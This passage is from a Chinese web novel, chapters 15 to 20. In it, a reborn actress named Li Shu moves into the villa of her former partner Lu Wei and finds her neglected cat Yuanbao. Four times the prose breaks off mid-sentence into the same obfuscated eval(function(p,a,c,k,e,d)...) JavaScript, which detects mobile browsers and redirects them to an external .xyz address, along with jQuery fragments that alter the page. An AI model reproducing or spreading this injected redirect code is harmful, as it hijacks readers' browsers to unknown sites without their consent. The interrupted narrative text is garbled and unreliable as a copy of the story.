“还得谢谢陈哥栽培。”黎数继续练着不太熟练的瘦金体,一边说:“不是您带我去一趟片场,我也不会阴差阳错得到这么好的机会。” 陈远冷笑:“你以为你真是靠实力被签进寰宇的,实话告诉你,那是因为你的脸长得和已经死了的那个黎数一模一样,姓陆的把你弄过去,跟待在一统也没什么区别!你还是只能做别人的替身!” 黎数不耐烦的皱了皱眉,手机拿远了一点。 还没按到挂断的按键,就听到陈远在那边气急败坏的说:“别以为你把老子搞走了就能做白日梦,老子离了一统也到处都能混得好,你就在寰宇安安分分的当个死人的替身吉祥物吧,等你被陆嵬踢了,我看你什么下场!” 电话被陈远恶狠狠的挂断,黎数满脸疑惑的把手机放到了一边。 陈远上次见时就对原主意见很大,可这份恶意来的没什么缘由,日记本里也没有提到过。 她想不明白,左右也只是个跳梁小丑,就没再理会。 但刚被放下的手机又震了震,紧接着开始了频繁地震动。 往常几个月都说不了一句话的一统的前同事忽然间都变得极其热情,开始想和黎数交流起了并不怎么深厚的感情。 黎数一个没理,单独打开了算是眼熟的几个人的消息看了看。 【沈晓青:副总把姓陈的开了!】 【沈晓青:你能去寰宇也好,能出去拼一拼,比在这小作坊当陪衬强得多。】 【沈晓青:有句话我也不知道现在说合不合适,你刚来公司的时候,姓陈的几次占你便宜你都忍气吞声的不言语。你以前性格软弱,自怨自艾习惯了,我一开始还帮你,你反而去担心我帮了你一次以后,把姓陈的惹恼了,他又来报复你你要怎么办,最后居然来怪我,后来我也懒得理你了,对你脾气也一直不好。这段时间突然变了个人似的,我也不知道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498042|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经历了什么,但总归算是好事。】 【沈晓青:好好发展吧,以后别再那么窝囊了,硬气点。】 后面是沈晗的信息。 【沈晗:真要跟公司解约啊?】 【沈晗:你哪来的钱啊?】 【沈晗:你解约以后我就麻烦了,双姨本来都规划好我以后发展的路子了,我那天在片场还想跟你以后好好相处对你好一点呢,你怎么说解约就解约啊。】 【沈晗:我又不会亏待你!】 黎数沉默两秒,全部拉黑。 所有的材料黎数全权交给了寰宇的法务部门去办,连一统的大门都没进。 有了强有力的背景支持,解约过程相当顺利。 - 四月四日,清明那天,黎数再次踏入了寰宇签订新的经纪合同,为期五年。 这一刻她忽然想起了自己从前的经纪人,连带着思绪一起放飞,想起了朋友、家人,和她从前救助过的一只小黑猫。 “签字吧。”陆嵬用笔在桌子上敲敲,黎数回过神,应了声,继续用没眼看的丑字签上了自己的名字。 陆嵬拿过合同以后沉默了两秒,目光着重在那丑的出奇的签名上停了会,才说道:“回去收拾行李,收拾好告诉我,会有人过去给你搬家。” 黎数迟疑片刻,还是说道:“我已经收拾完了,随时可以搬。” 一统效率算高,且知道以后没有合作的可能了,所以东西回收的也相当利落。 寰宇法务部登门的第二天,一统的工作人员就上门勒令黎数把东西收拾好在一周内搬走。 她已经带着一堆行李在酒店住了好几天了。 陆嵬停下了收拾文件的动作,盯着黎数的神色显得有些古怪。 她向后靠坐在椅子上,从抽屉里取出音色打火机,方形的壳子不知道怎么在她指尖被玩出了花。 浓密的睫毛压下了她眼眸中所有的情绪,片刻后,陆嵬她说道:“小黎,我和你不会发生任何超过工作以上的感情牵扯,我们只是演戏。” 黎数险些以为自己耳朵瞎了眼睛聋了。 她张了张嘴,最后居然只能略显憋屈的说了一句:“您想多了,陆总,我对您没非分之想。” 不甘心的又补了半句:“真的。” 16.第十六章 陆嵬也不知道是信了没信,但总归是没有揪着这个问题不放。 黎数住的是酒店电竞房,方便她可以用足够多的时间去上网了解很多这两年里发生的一些大事件。 她除了手机以外的电子设备都被一统回收,不过为了以防万一,黎数还是将电脑恢复初始状态后才上交。 她住了有一段时间,也让她身上本来就不多的存款即将耗空,但也还好这部分的钱公司会给报销,且来的比较及时。 《秘宝》的第一笔签约款项扣除掉税收后,一共到手三万四,因为这个角色算是黎数以自由人的身份争取的,所以不需要跟公司进行分账。 她和寰宇的经济约在最开始阶段是五五分成,也符合这个圈子新人的分成比例。 当天下午,搬家公司的车停在酒店楼下,黎数接通电话后和前台交代了一声让他们直接上来。 不多时,黎数门前站了四个身穿统一绿色制服的工作人员,黎数从窗口往外一看,楼底下停着伴一辆七座SUV,一辆目测得有两米多的大客。 黎数:“……” 最终那辆大客没有被空置,但也只利用了不到十分之一的占地面积。 一路上黎数百无聊赖的刷着最近的新闻。 有很多新鲜的面孔涌现,各家小生小花争相斗艳,为即将到来的闪耀之夜预热,也有曾经她熟悉的艺人逐渐落幕,或是结婚生子,远赴求学,还有两人宣布退圈息影。 一条条看了不少‘近年娱乐圈明星大事件’这个系列视频,真真假假也难分辨,黎数看的眼睛痛,退回到了热搜栏上,想看看有没有什么新的消息。 映入眼帘的第一条—— 寰宇总裁陆嵬白天密会情人! 黎数的手忽的紧了一下。 她从热门里翻了翻,点开了狗仔爆料的一条视频。 车里安静,耳机里的声音很清晰,视频很短。 视频里,一个年轻漂亮的女孩下了车,刚走没两步,又被车里的人叫住,上半身钻进了车里,好一会才重新出来。 又在原地目送着车辆离去,才终于恋恋不舍的上楼。 没有任何拼凑剪辑,这就是原拍原发的视频。 不是别的谁,‘情人’居然是她自己。 黎数心里说不出是什么滋味来。 对于陆嵬来说时间轴已经从那一天的特大自然灾害向后划了整整两年,她发展新的感情再正常不过。 即便是在她死后,陆嵬能一声不吭的在废墟上亲自挖一宿,挖到十指渗血。 可时间总能磨平一切,何况两年不能算短,足够从一段旧的感情当中走到一份新的感情里。 可对她自己来说,现在才只是她单方面宣布和陆嵬分手后的两个月。 不可否认的是,刚刚那一瞬间,在看到陆嵬的绯闻时,她不可避免的感觉到呼吸窒了一下,心也是酸涩的。 但这一天迟早会来。 黎数觉得自己还需要一点时间,才能去平复,去放下,去遗忘。 “黎小姐,咱们到了。” 黎数回过神,静了几秒后说:“好,知道了。” 工作人员将车停在门口,下车去保安亭做交接。 陆嵬应该是提前告知过管家,门卫登记完信息后很快放行。 陆嵬的住处在靠里的位置,3-17栋,临湖,四周是大片的私人草坪,天色渐暗,草坪上的路径灯已经亮起,把别墅四周照的很清晰。 陆嵬以前是和她住在一起的,黎数从没来过这个别墅区。一楼是大面积的落地窗,但应该是单向玻璃,外面的路径灯非常亮,但看不到屋里一丝一毫。 门是密码锁,黎数打开手机,刚想问陆嵬密码是多少,陆嵬就把密码发过来了。 【陆嵬:密码0927。】 黎数心里一颤。 九月二十七日是她的生日。 黎数感觉自己的心脏因为这四个数字被高高悬挂起,上面系着根快要断裂的麻绳。 可她也原谅不了陆嵬,当时说的分手、说的两清不是也不是生气时的威胁,而是冷静后的陈述。 七年的感情摊开了放在陆嵬眼前,可陆嵬依然选择了转身离去。 黎数伸出手,平静的将密码按下,把大门缓缓推开。 没什么人气的别墅显得有些冰冷,经过一个露天小院,往里又开了一道内门才进到屋内。 一楼很大,左右两侧分别是餐厅和多功能室,正中间是客厅,两侧都各自有一个电梯。 陆嵬给她规划的活动区域是二楼,二楼有两个卧室、一个书房和一个极大的户外露台,卧室面积极大,都带有独立的卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507474|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 搬家公司将黎数的所有东西一一按照功能性归置完毕,随后就离开了。 室内重新陷入一片寂静。 黎数推开玻璃门,走到了二楼户外的露台上。 四月的晚上冷的明显,她身上穿着单薄的风衣,长发在背后被吹气了一些弧度。 烟草的气息让她自看到0927这四个带有特殊意义的数字时,就开始激烈撞击的情绪沉静了不少。 她开始仔细思索,陆嵬对她提出替身的这个要求的用意究竟是什么。 拥有相似眉眼的人不止有原主一个,即便她和自己长得像是双胞胎兄妹。 可只单单凭借一张脸,似乎并不是陆嵬所需要的。 否则陆嵬完全可以找足够相似的人去整成自己的样子,只要钱砸的够多,以现在的科技水平,没什么事情是办不到的。 黎数想不通是为什么,这也是她答应陆嵬提的协议的其中一个原因。 她直觉这背后和她自己有极大的牵扯——即便她本人从前对此毫不知情。 和自己密切相关,但却被蒙在鼓里的感觉并不好受。 黎数把最后一口烟吐掉,心想还有没有什么东西,是能比烟草能让人镇定神经的。 虽然圈子里几乎人手一盒,不因为这事儿往外爆算是圈内不明文规定,但被拍到终归是麻烦。 一根烟燃尽,从远处驶来了一辆低调的黑车,是陆嵬常开的那辆保时捷911,车直接停到了院门前。 黎数一直等听到楼下大门被打开,才从暂时属于自己的二楼卧室里走了下去。 见她出来,本来已经往电梯走的陆嵬停下了脚步,像是合租室友划分区域、制定规则似的,说道:“所有窗户都是单面可视窗,你的活动不需要受限制,不会被拍。另外,你不能带人回来。” 黎数靠在扶手上点头。 陆嵬明明站在台阶下,但说话的语气却和她站的高度完全反了过来。 “二楼我一般不会去,所以不会占用你的生活空间,那一层你可以随意处置。当然,除非必要,我也不希望你上楼来找我。在这个房子里,没有人在的时候,你不需要配合我演戏。” 黎数求之不得,还能有闲心帮陆嵬补一句‘最好也别来烦我’。 她平静一笑,“知道了陆总。” 17.第十七章 陆嵬的别墅显然有专人定期过来打扫,房间内纤尘不染,黎数只需要简单收拾收拾就可以。 等她洗完澡出来,紧绷了很久的神经终于松懈了些许,眉眼都染上了淡淡的倦怠。 陆嵬说到做到,二楼所有房间的钥匙也一早都放在了边柜上,书房的钥匙只有她有,整个二楼完全属于她独有。 她将原主的所有东西都放在了隔壁的书房。 简单将头发吹干后,黎数就准备上|床睡觉了。 但这一觉睡得并不踏实。 她又梦到了那天晚上。 空荡无人的仓库里,唯一的声源是来自于电视机里的沙哑女声。 每天零点动物频道就会准时开启新的内容,黎数还记得那个女声沙哑而磁性,“猎豹喜欢搞偷袭,它们往往踩着轻巧的步伐靠近猎物,再闪电般的发起致命一击——” 黎数感受到一阵阵的窒息,极为难受的睁开了眼。 黑暗中,借着窗外的月光,黎数发现她的胸口上端坐着一个看不清正反面的黑色的、很细长一跳的生物。 “元宝……别坐我胸口,喘不过气了……”黎数喃喃道,顺手把黑猫一捞,刚本能的掀开自己被子的一角拍拍,就意识到手里的猫子重量不太对。 实在是太轻了。 像久病濒死的消瘦。 黎数一个激灵,瞬间清醒了。 这一刻,所有记忆回笼,黎数在床上愣了会神,和蹲坐在她面前,用小尾巴把脚盖住的黑猫对视了会,又低声喊道:“元宝?” 黑猫依稀还有点圆圆弧度,但下巴已经变成了三角,身体也瘦瘦的,只有很瘦很小一只。 听到黎数喊它,小脑袋歪了歪,半晌,很小的‘喵’了一声,站起来用前爪在黎数脸上踩了踩。 黎数眼泪差点下来。 “你还认得我吗?” 她每问一句,元宝就会很小的‘喵’一声,最后整只猫头蹭在黎数颈侧。 黎数的手抚在元宝的后背,明显的一条脊骨弓起,小时候肉乎乎的触感不见了,摸到哪都是皮包骨的瘦,皮毛也很干涩粗糙。 黎数脑海中的第一反应就是——难不成陆嵬虐待它? 但陆嵬不是这样的人。 元宝是她出事的前半年捡到的小奶猫。 刚发现它的时候很小一只缩在小区楼下的垃圾桶里,甚至还没断奶,四肢纤细的快要折断,叫的很大声。 那段时间恰逢黎数刚杀青,有一段比较长的假期,几乎是没日没夜的才把元宝从小奶到能自主进食、排泄。 陆嵬虽然不喜欢猫狗,但黎数总有熬不住睡着的时候,只要陆嵬在家,她从没被小猫吵醒过。 而每一次睁开眼时,元宝身上总是干干净净的,肚皮也是鼓鼓囊囊。 过于纤瘦的元宝让黎数甚至不敢用力抱它,小心的把它抱在怀里,黎数打算去一楼找找看有没有陆嵬买的罐头猫条之类的东西。 小猫安安静静的靠在黎数的怀里,一双圆溜溜的眼睛时不时抬头看她,又时不时的将目光定在某个不知名的点上。 刚下楼,黎数忽然发现陆嵬不知道什么时候也从楼梯上下来了,她走路一丁点声音也没有,也没开口打招呼。 黎数意识到这是在陆嵬的别墅,此刻的元宝也能算是陆嵬的猫。 她可能是半夜睡不着,过来找猫的。 黎数又抚了抚元宝的后背,连毛都没过去的多,更没有过去那样的油亮,甚至后背还能看到几处脱毛的地方,应该还有皮肤病。 她想向陆嵬发难,但又找不到理由。 故此打招呼的时候语气都连带着不太好了:“陆总。” 但陆嵬没理她,甚至连看都没看她一眼,自顾自的出了门。 黎数在原地看着陆嵬的身影消失在门口,最后到了车里,和元宝对视一眼。 “她是不是真的虐待你了?” “喵。” “她对你一点也不好。” “喵。” “以后妈妈走的时候会把你一起带上的。” “喵。” “咱们来吃罐罐。” 黎数在厨房边上的小厅里看到了一整个柜子的猫咪用品。 地上的猫碗里面还有看起来没怎么碰过的猫粮,还有一盒拆封了,但也纹丝未动的罐头,甚至因为打开的时间久已经氧化发硬了。 黎数皱了皱眉。 她给元宝拆了个新罐头,元宝鼻尖嗅了嗅,小口小口的开始吃了起来。 黎数眉梢松了松,有胃口、肯吃东西是好事,起码没生病。 她把元宝放在地上,罐头放在它面前,但随着她的动作,元宝也同时停下了进食,只在黑夜下显得滚圆的眼睛直直的看着黎数。 黎数愣了愣,“我不走,在这里陪你,你慢慢吃。” 元宝当然听不懂。 于是黎数干脆盘坐下来,陪着它静静地坐了一会,同时点点罐头。 元宝这才开始继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513271|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续吃了起来。 黎数抬眼望向了窗外。 别墅周边是一圈低调的黑色铁栏,陆嵬的车就停在大门外,没开灯,也没开走。 她忽然想起俞宝珠说陆嵬已经很久都没开过车了,她今晚没见到张姐,应该是已经睡下了,那陆嵬一个人在车上干什么? 这段时间染上的睡前怪癖?一个地方睡腻了换车上睡更有感觉? 黎数想不明白,这也和她没什么关系。 但既然已经醒了,黎数必不可免要考虑一下未来和陆嵬之间的关系。 陆嵬为什么需要的是自己,而不是别人,她刚刚也有了答案。 因为演技、野心、对未来的规划,以及和自己从前极为相似的脸,甚至是一模一样的名字。 她需要自己走到某一个高度上,才能同时方便陆嵬去做一些什么事情。 这不是随便一个长相相似的人能够做得到的。 黎数垂下眸子。 元宝已经把罐头干掉了一半,正蹲在旁边喝水。 喝完了以后,她又重新坐到了黎数盘着的腿上,把自己团成了一个圈。 黎数弯着眼睛笑了笑,抱着元宝起身,走到了窗户边向外看了眼。 车里没开灯,陆嵬也没玩手机,她并不知道陆嵬在车里是睡觉还是做别的什么。 但是她也想清楚后面要用怎样的态度和陆嵬相处了。 夹杂着恨意和背叛是不利于长久合作的,何况是五年的时间。 暂时抛去掉所有从前的爱与恨,黎数必须要把这件事情调查清楚,同时也可以利用陆嵬的关系和背景、资源,到达从前的自己曾经想过,却没有达成过的高度。 那是她身为一个演员自发而生、但总被忽视也不被在意的野心。 有太多事情可以排在那点儿女情长的爱恨前面,她没死,以后还要活几十年,那她必须得振作起来,把以往丢的、想要的,全都拿回来。 陆嵬需要她爬到一定高度,她自己也想站在高峰,殊途同归。 既然这样,互惠互利,互相利用,各取所需……直到彼此心知肚明的各不相干,也挺好。 大门传出被打开又关闭的声音。 黎数抱着猫回头,这次没主动开口说话,陆嵬也好像看不见她这么个大活人似的,又是一路头也不回的上了楼。 这次还是走的楼梯。 黎数抱着猫,隔了会才踩着楼梯上楼,一边走一边碎碎念:“她肯定是有点毛病。” 18.第十八章 闹钟和猫一起响了。 黎数睁开眼,把闹铃关掉,伸手摸摸把大半个身体都压在她脖子上的小瘦猫,“早啊,元宝。” 元宝小呼噜震天,丁点没有要醒的意思。 黎数又顺毛摸了它一把,离开床的瞬间,元宝不知道什么时候也醒来了,目不转睛的盯着她看。 去洗澡的时候黎数也没关门——元宝倒没有嚎叫,只是已经跟着她到了浴室里面,小小的身体就蹲坐在门口,像在守卫。 《秘宝》剧组还没有开机的消息,但黎数已经加了大大小小七八个群了,每天群里都有工作人员或演员在聊天。 她没看到有什么眼熟的人,又和谁都不认识,也没有贸贸然插话。 倒是快递陆陆续续都到货了,手机上的物流信息许多,大多都是衣服和一些日常用品。 电子设备她没有买,一个是预算不够,没什么钱,一个是暂时也不需要。 黎数的地址留的是陆嵬的别墅,每天会有管家统一送到门口。 换完衣服,抱着猫下了楼,隔着很远都听到了厨房的动静。 她和元宝对视一眼,黎数用气音说:“她做饭?” 元宝嘬嘬嘴,胡须颤颤。 黎数弯着眼睛拨她胡子,“说话。” 元宝‘喵’了声,爪垫轻轻踩在黎数胸前,脑袋一起贴上去,讨饶似的蹭蹭,声音越来越嗲,伴随着呼噜噜的响声。 黎数揉揉猫头,又亲一口。 楼梯右手边的电梯发出‘叮——’的一声,一人一猫同时抬头看去,居然是陆嵬从里面走了出来。 她身上的衣服不怎么正式,偏居家的风格,头发很简单的夹在脑后,多余的发丝自然垂散,让她的冷漠消下去了不少。 黎数的目光落到了陆嵬两条胳膊上都穿戴着的防护手套上。 元宝一见到她就发出了阵阵威胁的哈气声,陆嵬从电梯出来,边走边将手套摘了,隔着几步停下来。 “原来在你这。” 陆嵬和黎数怀里凶相毕露的黑猫对视片刻,一双淡色疏离的眸子里看不出情绪来:“我还以为它又跑出去了。” 黎数注意到了她说的‘又’字,“它之前也跑丢过吗?” 但陆嵬并没有解释的意思,或许觉得没必要。 在原地站了片刻,她忽然问道:“昨晚上垃圾桶里的罐头,是你喂给它的?” 黎数‘嗯’了声。 陆嵬目光落在了元宝身上,想了片刻,说:“它吃了?” 黎数又点点头。 陆嵬沉默了下去。 她将手上的东西整理好,在黎数原地站了片刻后,抬眸道:“以后麻烦你来喂它,报酬你可以提。” 黎数注意到她手里还拎着猫包,里面隐约能看到有罐头、束缚带和注射器的模样,里面基本没有干粮,甚至全都是非常惯孩子的猫家长才会给准备的昂贵鲜湿粮。 黎数抚在元宝头上的手停顿了下,应下了这个要求,但没提过报酬的事。 - 厨房里的声音停了下来,一个黎数从前没见过的阿姨从里面走出来,手上端着热腾腾的一盘菜。 她穿着很整洁的厨师服,胸前围着抹布,还带着厨师专用的面罩,出来见到黎数和陆嵬都在便笑了笑,“都准备好了,可以开始吃了。” 饭桌上是六菜一汤,但量都不大。 黎数进了餐厅,才发现餐厅外面居然也有一个门厅,往外走就是草木稀疏的院子。 之前见过的司机张姐正在整理小桌上的饭菜,和主桌是完全一样的菜色。 不得不说,这个别墅区的整体构造实在是太好,房子四面八方都有窗户,住进来的第一感觉就是敞亮和舒适,完全没有市中心的小别墅群那样的逼仄,每一个房间都很拥挤的感觉。 阿姨没急着吃,摆好盘后站到了一边,笑容爽朗大气,亲和力很强,她问黎数:“黎小姐平时有什么爱吃的和忌口的都可以和我说,以后我常给你做。” 陆嵬已经走了回来,见状想了想才说,“这是周姨。” 黎数没客气,能吃到热乎现做的,谁也不爱去吃不知道干不干净的外卖——像裘夏和陆嵬这种手笔,一顿饭要吃几百上千的,她消费观不允许。 “谢谢周姨。”黎数说。 周姨笑着点点头,和张姐一起去吃了。 桌上的菜色不算清淡,甚至还有一道菜放眼望去都是红辣椒。 黎数从头到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518600|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾没碰过那盘红艳艳的毛血旺。 陆嵬忽然道:“你不是四川人吗?不爱吃辣?” 黎数将一口混杂着鸡丝、豆干、银鱼等材料的干丝咽下。 周姨的功夫独到,黎数已经算是爱吃的人了,但能把一道九丝汤做的鲜而不淡,入口醇浓的还是极少数。 她从前虽然爱吃辣,但一是因为当演员长期忌口,大多数人胃都不算好,所以喜欢但也吃得少,后来几乎已经成了本能的回避,加上这个汤做的实在太好,所以大部分的时间都在吃这一道菜。 倒是忘了原主是四川人,从小吃辣吃到大了。 黎数抬起头,动作缓慢的又盛了碗汤,露出了左手已经掉了痂的手腕,说道:“大夫吩咐的,最近半年得忌口。” 陆嵬应了声,想了想,回头对周姨说:“周姨,以后家里给姥姥炖的汤可以让张姐带点来。” 周姨和张姐各自笑着应了。 她们的笑容不似作伪,一边吃饭,也还能一边随意的小声聊着天。 和陆嵬的相处也不像是雇佣关系,更像是用久了的阿姨对待看着长大的晚辈。 张姐是近两年才跟着陆嵬的,但周姨应该是陆嵬姥姥那边的老人了,偶尔陆嵬在家时,她会来做一顿饭。 黎数想了想,给站在它腿上,只一个脑袋探出桌子,正朝着鸡丝喵喵叫的元宝挑了一小筷子,涮过水后喂给它。 周姨几次往这边看,但陆嵬始终没表示过什么。 元宝小嘴巴吧唧吧唧,精神比昨晚上见到时要好上一些。 过了会,黎数忽然抬头问道:“我以后需要配合你去见你家里的人吗?” 陆嵬很快摇头:“不。” 黎数松了口气的同时笑了笑,“太好了。” 从前她没见过,现在的身份也不适合见,怎么都尴尬,怎么都无所适从。 不见自然是最好的,不然到时候也不好拿捏态度。 一顿饭吃的人饱猫没饱,黎数陪着一直响的元宝又吃了一盒罐头,才重新回到楼上。 也是时机巧合。 她入住陆嵬家的第二天,《秘宝》剧组的制片来了通知。 明天正式进组,参加开机仪式和开机宴。 19、第十九章 当天晚上,裘夏将黎数和陆嵬的衣服送了过来。 开机仪式时衣服都是统一的制式,上身都是简单的白色短袖,上面印了四个大字:国家秘宝。 这就是电影的全名。 黎数爱惜的摸了摸衣服,将其叠好放在腿上。 裘夏坐在一楼沙发上啃指甲,焦虑的一直在抖腿,眼睛时不时的看看陆嵬,再时不时的看看黎数,像是个开了倍速的左摇右摆的风扇。 “你们……”裘夏看向黎数,又放弃,把矛头转向了陆嵬,“你……” 支支吾吾半天,愣是一个完整的句子没说出来。 陆嵬权当耳旁风,她腿上放着笔电,面前是一杯加了半杯冰的美式。 黎数出来接衣服,这种情况也不好先走,除了微笑也不知道说什么,只一下下的顺手抚摸在她怀里揣着手趴着的元宝。 还好这种极其尴尬的时刻还有个暖呼呼的猫子能缓解。 裘夏顺着她的动作,目光往下一滑,才注意到似的,惊讶道:“你家猫转性了?上次我过来的时候都送了我挨了好几针,这次怎么这么嗲兮兮嘻嘻让我摸摸……我疫苗还有仨月才过期……” 她说着就想手欠去摸摸。 元宝登时怒目圆瞪,以常人反应不过来的速度瞬间站起,呈现出防备的姿势,浑身炸毛,威胁似的‘哈’出声。 裘夏顿时鬼叫一声,整个人弹射起飞缩到了陆嵬那边,顺手撞歪了陆嵬的那杯还没喝过得咖啡。 陆嵬写写画画的手一停,不耐烦的轻轻‘啧’了声。 裘夏来送衣服本来就是个意外。 她回自己住的地方正好顺路,距离她这就十几分钟车程。 本来该是助理送,但助理这几天流感身体不舒服,她就代劳了,过来也想正好聊聊明天开机仪式和开机宴的事儿。 就知道来了就没好事。 目光从被咖啡渍沾满的地毯上,又挪到了除了黎数谁也不让碰的元宝的身上,又重新落在明显黑了一块的地毯上。 裘夏:“……” 陆嵬家这地毯,纯植物染色,镶22k金的,收藏级。 “别手欠。”陆嵬停下手,同时起身送客:“猫嫌狗弃这本事都跟了你几十年了,还没接受现实吗?” 裘夏尴尬笑笑,走前朝黎数比了比手机,示意有事手机聊就转身走了。 她们走后,黎数也上了楼,顺手把衣服洗了搭在阳台晾干。 - 四月晚上稍有些冷。 裘夏脸色整了整,但想起刚刚毁了张纯羊毛地毯又有点心虚,可刚刚一个大活人还在里头,她也忘不了自己听见陆嵬说‘黎数在她家’时候的震惊。 “你俩现在这是,同居?”裘夏皱着眉,想不出个具体形容词来。 说包养不像,黎数也不是那样的人,一看就知道,这姑娘骨子里死倔,人也决绝。 即便只靠自己,等到白玫这个角色火了以后,不少公司都愿意去出那二三百万的解决费,何况她才刚刚十八岁。 十八岁,演技上能得费鹤鸣亲自点头加戏钦定,多高的起点,多高的荣誉啊。 身材、脸蛋,没有一个地方有硬伤,该凸凸该翘翘,说硬捧就更不算了。 可裘夏又觉得,用谈恋爱也不妥当,她俩没那个氛围。 她和已经死去的那个黎数并没有深交,只在一些公开场合偶尔见过。 她记得那是一个明媚艳丽的女人,可偏偏周身总有一股温柔的气质,像四月的春桃,像春末的煦风。 娱乐圈花花草草无数,黎数算得上是其中让人一见难忘的独秀了。 黎数死后的整整一个月,陆嵬过得不人不鬼。 厌食,硬灌就吐,一个月的时间瘦了整整二十多斤,几乎成了个人干,靠滴注勉强活着。 西医已经到了无能为力的地步,俞宝珠几次登门,请动了中医界早已经退休、走路都困难了的北斗。 陆嵬被放在担架上抬过去,裘夏忘不了她当时一只手就能圈起来的手腕,每回想起都是一阵的心惊肉跳。 可年逾古稀的老人看了,脉摸了,却只留了四个字,摇摇头就不再说话了。 她当时说,“心气散了。” 裘夏觉得她说的像是‘活不成了’。 当时陆嵬的亲人、朋友,几乎都陷入了无能为力的绝望境地,看着陆嵬一天天消瘦,看着她距离死亡越来越近。 直到黎数所在小区的管家打电话来,问她猫要怎么处置。 可现在连猫都开始亲近这个和前人有六七分相似的新人了。 难道人真的会重新喜欢上一个长相相似的陌生人? 裘夏觉得不应该,也难以接受。 陆嵬不知道裘夏这么久都想了些什么,闻言也只是轻浅的笑笑,站在一个极客观的立场上,说道:“她人不错,听话,元宝喜欢。” 寂静在悄无声息的蔓延。 有的事情往下深挖,重要吗? 起码陆嵬现在还活着。 裘夏只能说一句:“也行,这样也行。” “那我走了,明天现场见。”裘夏迟疑了下:“那明天你带她过去?我还来接不?” 陆嵬摇头:“我带她去。” 裘夏‘嗯’了声,又站了会,但她自己也不知道在这站了那么会是要做什么,于是闷头往风力走。 陆嵬看着她背影,遥遥说道:“地毯十八万,听见了吗?” 裘夏平地一个踉跄,头也不回的怒吼:“没听见!” - 四月六日,所有人齐备,《秘宝》剧组举办了开机仪式,现场只邀请了部分合作主流媒体。 黎数一大早就起了床,简单的收拾过后就穿着剧组的白短袖出了门。 早上天凉,她加了个素色的风衣,没戴任何首饰,装扮整体素净。 陆嵬对她的装扮也没说什么,或者是不在意。 黎数下来的时候她已经在车上了。 总制片也不能例外,今天的陆嵬和黎数穿的是同款的短袖,外面穿着春绿色的绒面西装,黑色鸭舌帽,下面是一条简单的黑色休闲裤。 黎数上了车,有点抱歉的提起了手里的猫,和另一只手的猫箱,装作不知情似的说道:“抱歉,我一出门它就叫,只能把它带着了。” 元宝出来以后就是很怂一只猫,缩在猫箱最角落苟苟祟祟的看着外面的世界。 偶尔扫到陆嵬时会威胁的哈气,更多时候还是尽量靠着距离黎数近的那一侧,显得弱小无助又凶又可怜。 黎数看着元宝断裂的指甲,心疼的难受。 她不放心元宝这样的状态,最后回去看了眼,才发现元宝已经把指甲弄断了,血流了不少,叫声也很凄惨。 元宝以前从来不这样。 在屋里来不及收拾,她只能从客厅的抽屉里快速拿了点创口贴和碘伏、棉签那些乱七八糟的,先把血止住,到车上以后再给她慢慢收拾。 黎数鼻子有些发酸,给元宝处理伤口的时候,状似不经意的问道:“它以前也总这样吗?” 20、第二十章 元宝乖乖窝在黎数怀里,任由黎数给它处理伤口。 也不挣扎,也不撒娇,只耳朵高高竖起,眼睛警觉的盯着窗外开始急速后移的景色。 黎数印象中光滑如绸缎的黑色油亮毛发变成了营养不良也不顺滑的杂毛,四条腿也从鸡大腿的肥美变成了鸡爪子似的皮包骨。 陆嵬也有些讶然元宝这样的撕心裂肺,但很快就确定的说:“没有,这是第一次反应这么大。” 黎数‘嗯’了声,捏捏元宝温热的肉垫,习惯性的看看其它的指甲,又去检查元宝的耳朵、腋下和肚皮等位置。 陆嵬看着她全方位给元宝检查。 黎数的模样很专业,也知道该怎么检查重点,又不让猫反感,像是常年喂养过猫的。 元宝全程也都很配合,软的像是个没骨头的捏捏玩具。 陆嵬忽然说:“你以前养过猫?” 黎数愣了愣,捏元宝后脖颈按摩的手一顿。 片刻后她自然的把元宝换了个姿势抱,怀里小小的、温热的体温靠着她,黎数听到自己说:“小时候家里养过。” 但其实原主没养过猫。 她很喜欢,也很渴望能养一只猫或狗。 